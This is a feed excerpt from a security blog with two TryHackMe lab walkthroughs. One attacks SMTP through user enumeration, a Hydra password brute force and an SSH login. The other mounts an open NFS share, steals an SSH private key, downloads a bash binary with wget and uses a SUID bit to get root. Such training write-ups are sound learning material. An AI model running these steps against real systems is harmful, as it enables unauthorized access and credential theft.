<p>Simple Mail Transfer Protocol aka <strong>SMTP</strong> allows for the process by which mail clients send mail to each other. If we were to compare the email service to the postal delivery service, SMTP would be the courier, delivering mail from the post office to the recipient&rsquo;s address, except in this case every address is also its own post office. The courier tends to know important information about its sender so we&rsquo;ll be trying to get as much information out of it as we can. Thankfully the SMTP service is very receptive to questions so we will be able to <strong>pry valuable insights from it</strong> in order to compromise its server.</p>
<h4 id="identifying-the-smtp-service">Identifying the SMTP Service</h4>
<p>The first step of identifying possible attack vectors is running a network <strong>Nmap</strong> scan to see what ports are open on services that we know how to abuse. In this case we&rsquo;re looking for <strong>port 25</strong> exposing the SMTP service to the internet.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Nmap scan report <span class="k">for</span> ip-10-10-190-97.eu-west-1.compute.internal <span class="o">(</span>10.10.190.97<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">Host is up <span class="o">(</span>0.00070s latency<span class="o">)</span>.
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Not shown: <span class="m">998</span> closed ports
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">PORT   STATE SERVICE
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">22/tcp open  ssh
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">25/tcp open  smtp
</span></span><span class="line"><span class="ln">10</span><span class="cl">MAC Address: 02:87:B2:A3:3F:17 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># Nmap done at Sun Oct  6 01:22:55 2024 -- 1 IP address (1 host up) scanned in 1.68 seconds</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-sS</strong> to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The <strong>-T4</strong> flag sets the timing template to be faster than the default, balancing speed and accuracy. The <strong>-F</strong> flag specifies a fast scan that targets the top 100 most common ports. The <strong>-oN output.txt</strong> flag saves the scan results in a normal format to a file named <strong>output.txt</strong>. Finally, <strong>$IP</strong> specifies the target IP address for the scan.&quot;</p>
      </div>
  </div><h4 id="getting-the-smtp-server-metadata">Getting the SMTP server metadata</h4>
<p>Now that we&rsquo;ve identified a way in, we can use a pre made SMTP <strong>attack script</strong> to extract as much valuable metadata we can using the Metasploit smtp_version script. In this case we&rsquo;re able to extract the smtp server&rsquo;s domain name but not much else that&rsquo;s useful. We&rsquo;ll try a more <strong>aggressive</strong> script next.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msfconsole
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 &gt; use auxiliary/scanner/smtp/smtp_version
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.22.136
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/smtp/smtp_version<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">10</span><span class="cl">RHOSTS   10.10.22.136     yes       The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-me
</span></span><span class="line"><span class="ln">11</span><span class="cl">                                    tasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">12</span><span class="cl">RPORT    <span class="m">25</span>               yes       The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">THREADS  <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>max one per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 SMTP <span class="m">220</span> polosmtp.home ESMTP Postfix <span class="o">(</span>Ubuntu<span class="o">)</span><span class="se">\x</span>0d<span class="se">\x</span>0a
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="finding-the-smtp-server-exposed-usernames">Finding the SMTP server exposed usernames</h4>
<p>We&rsquo;ll try to <strong>brute force</strong> our SMTP courier to get it to tell us who it expects us to be talking to. We&rsquo;ll keep asking it whether it recognizes the name we give it with a enumeration brute force attack and hopefully we&rsquo;ll get a match. In this case we were able to tell that the SMTP knows the user &ldquo;administrator&rdquo; which gives us valuable insight into a possible user on the system. It is especially exciting to confirm the existence of an administrator user because <strong>compromising their account can lead to unrestricted access to their entire server!</strong></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; use /auxiliary/scanner/smtp/smtp_enum
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.190.97
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; <span class="nb">set</span> USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 Banner: <span class="m">220</span> polosmtp.home ESMTP Postfix <span class="o">(</span>Ubuntu<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 Users found: administrator
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="running-hydra-to-brute-force-the-password">Running Hydra to Brute Force the password</h4>
<p>This isn&rsquo;t a very <em>nice</em> way to break into a system but we&rsquo;ll continue to use the brute force enumeration approach along with the username we found to try to log into the server via ssh. We&rsquo;ll use the hydra tool to enumerate different passwords until we get one that works.</p>
<p>Luckily there was a <strong>direct match</strong> and we found a password for the administrator user, if only it was always this simple 😊</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hydra -t <span class="m">16</span> -l administrator -P /usr/share/wordlists/rockyou.txt -vV 10.10.190.97 ssh
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="o">[</span>22<span class="o">][</span>ssh<span class="o">]</span> host: 10.10.190.97   login: administrator   password: alejandro
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="o">[</span>STATUS<span class="o">]</span> attack finished <span class="k">for</span> 10.10.190.97 <span class="o">(</span>waiting <span class="k">for</span> children to <span class="nb">complete</span> tests<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="m">1</span> of <span class="m">1</span> target successfully completed, <span class="m">1</span> valid password found</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-t 16</strong> to spawn 16 threads to attempt logins on the specified username <strong>-l administrator</strong> using the filepath <strong>-P rockyou.txt</strong> for passwords on the server&rsquo;s <strong>IP</strong> via <strong>ssh</strong> in <strong>-vV</strong> very verbose mode.&quot; &gt;}}</p>
      </div>
  </div><h3 id="logging-into-the-server-with-credentials">Logging into the server with credentials</h3>
<p>Equipped with a username and password we can easily SSH into the server unless it has other protections in place.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh administrator@10.10.190.97
</span></span><span class="line"><span class="ln">2</span><span class="cl">administrator@10.10.190.97<span class="err">&#39;</span>s password: alejandro
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Welcome to Ubuntu 18.04.4 LTS <span class="o">(</span>GNU/Linux 4.15.0-111-generic x86_64<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl">administrator@polosmtp:~$</span></span></code></pre></div>
]]></content:encoded></item><item><title>TryHackMe - NFS</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</link><pubDate>Sat, 12 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 THM Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 THM Network Services Room</a></p>
      </div>
  </div><h3 id="gaining-access-through-nfs">Gaining Access Through NFS</h3>
<h4 id="initial-reconnaissance">Initial Reconnaissance</h4>
<p>The first step to Network File System (NFS) exploitation is identifying an exposed NFS share on the target machine. A public NFS share might have insufficient access controls, allowing unauthorized mounting from a remote location. This gives us an initial vector to compromise the vulnerable server.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-71-105:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-71-105:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">PORT      STATE SERVICE  VERSION
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">111/tcp   open  rpcbind  2-4 <span class="o">(</span>RPC <span class="c1">#100000)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">2049/tcp  open  nfs_acl  <span class="m">3</span>   <span class="o">(</span>RPC <span class="c1">#100227)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">32969/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">33463/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">38233/tcp open  nlockmgr 1-4 <span class="o">(</span>RPC <span class="c1">#100021)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">43597/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">MAC Address: 02:AE:30:CF:78:25 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">Read data files from: /usr/bin/../share/nmap
</span></span><span class="line"><span class="ln">17</span><span class="cl">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span class="line"><span class="ln">18</span><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 75.34 seconds
</span></span><span class="line"><span class="ln">19</span><span class="cl">        Raw packets sent: <span class="m">128591</span> <span class="o">(</span>5.658MB<span class="o">)</span> <span class="p">|</span> Rcvd: <span class="m">128591</span> <span class="o">(</span>5.144MB<span class="o">)</span></span></span></code></pre></div>
<h4 id="mounting-the-shared-drive">Mounting the Shared Drive</h4>
<p>Remotely mounting the server&rsquo;s NFS share from our attacker machine gains us access to the server&rsquo;s file system, with its directories and files accessible directly on our device. This allows us to explore the server&rsquo;s file system, exfiltrate files from the server onto our device and upload our files to the server. These actions will let us grab private information and load malicious files onto the server to further our attack.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# sudo mount -t nfs <span class="nv">$IP</span>:home /tmp/mount/ -nolock</span></span></code></pre></div>
<p><img src="mounting_nfs.png" alt="image"></p>
<h4 id="ssh-key-extraction">SSH Key Extraction</h4>
<p>Navigating to the .ssh directory of a remote user on the mounted NFS share we found the user&rsquo;s SSH private key, which should never be stored on the server itself and should be securely stored on a trusted user machine. Should the server be breached through a vulnerability, the attacker can create a persistent method of entry using the stored private key to pose as a trusted user on future login attempts.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# <span class="nb">cd</span> /tmp/mount/cappucino/.ssh
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cp id_rsa ~
</span></span><span class="line"><span class="ln">3</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# <span class="nb">cd</span> ~
</span></span><span class="line"><span class="ln">4</span><span class="cl">root@ip-10-10-71-105:~# chmod <span class="m">600</span> id_rsa
</span></span><span class="line"><span class="ln">5</span><span class="cl">root@ip-10-10-71-105:~# cp id_rsa /<span class="nv">$local_folder</span></span></span></code></pre></div>
<p><img src="privatekey_transfer.png" alt="image"></p>
<h4 id="ssh-login-with-stolen-key">SSH Login with Stolen Key</h4>
<p>After locating an SSH private key, it is simple to extract it using the NFS server by copying it from the shared drive to a local directory on the attack box. This file allows us to authenticate and gain access to the remote user&rsquo;s account through SSH, giving us direct access to a user account on the server.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# ssh -i id_rsa cappucino@<span class="nv">$IP</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>At this point the victim server has been compromised and we&rsquo;ve established a foothold in their infrastructure. Our next steps will involve escalating privileges and gaining persistence on the host to further cement our control.</p>
      </div>
  </div><h3 id="super-user-privilege-escalation-via-suid-exploit">Super User Privilege Escalation via SUID Exploit</h3>
<h4 id="uploading-malicious-script">Uploading Malicious Script</h4>
<p>Since we have 2 way connection, we can now upload anything we want to the server through the shared drive connection. We will upload a simple bash executable which we will use to escalate privileges and gain super user access on the server.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash</span></span></code></pre></div>
<h4 id="suid-permission-modification">SUID Permission Modification</h4>
<p>After placing the script on the target machine we can set its SUID (Set User ID) bit. This allowed the script to run with elevated (root) privileges, regardless of the user executing it.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# sudo chmod +sx bash
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# ls -la bash
</span></span><span class="line"><span class="ln">3</span><span class="cl">    -rwsr-sr-x <span class="m">1</span> root root <span class="m">1113504</span> Oct  <span class="m">4</span> 04:42 bash</span></span></code></pre></div>
<p><img src="bash_transfer.png" alt="image"></p>
<h4 id="escalating-to-superuser-privileges">Escalating to Superuser Privileges</h4>
<p>Executed the modified SUID script to escalate privileges from the standard user to the superuser (root). This provided full control over the target system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cappucino@polonfs:~$ ./bash -p
</span></span><span class="line"><span class="ln">2</span><span class="cl">bash-4.4# whoami
</span></span><span class="line"><span class="ln">3</span><span class="cl">&gt; root</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>Now we have complete control over the victim server with super user access. Our next steps would be to establish persistence and scan for other devices on the network to initiate lateral movement.</p>
      </div>
  </div><h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>NFS Security Misconfigurations</strong>:
Exposed NFS shares without proper access controls can be a critical vulnerability, allowing unauthorized mounting and file access.</p>
</li>
<li>
<p><strong>SUID Misconfigurations</strong>:
SUID permissions on scripts and binaries can be exploited to gain elevated privileges, especially if the target does not enforce proper file permissions.</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>